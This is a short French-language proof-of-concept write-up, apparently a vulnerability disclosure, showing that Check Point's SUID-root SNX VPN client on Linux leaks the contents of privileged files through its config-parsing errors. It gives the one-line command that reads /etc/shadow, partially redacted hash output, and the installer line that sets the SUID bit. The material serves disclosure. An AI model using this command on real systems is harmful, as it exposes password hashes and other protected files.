
Preuve de concept pour une lecture de fichiers privilégiée via le client VPN SNX Linux de CheckPoint
Preuve de concept pour la lecture privilégiée de fichiers via le client VPN Linux CheckPoint SNX.
Pour exploiter, chargez simplement n'importe quel fichier comme configuration SNX à l'aide du paramètre -f. Si le fichier n'est pas une configuration SNX valide, une erreur sera levée et une erreur de syntaxe affichée, divulguant le contenu jusqu'à ce que le terminateur de chaîne soit trouvé (par exemple etc/shadow) :
$ /usr/bin/snx -f /etc/shadow
parsing of the file: /etc/shadow failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'
Valid attributes are:
- server SNX server to connet to
- sslport The SNX SSL port (if not default)
- username the user name
(...)
La cause est due au binaire exécutable /usr/bin/snx possédant le bit SETUID et s'exécutant en tant que super-utilisateur, défini lors de l'installation.
En particulier, la variable COMMAND_TO_RUN définie dans le fichier d'installation .sh (CheckPointVPN_SNX_Linux_800007075.sh) :
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"
Dans le paramètre --mode=u=rxs, le dernier s définit le bit SUID, ce qui conduit à exécuter le binaire en tant que root.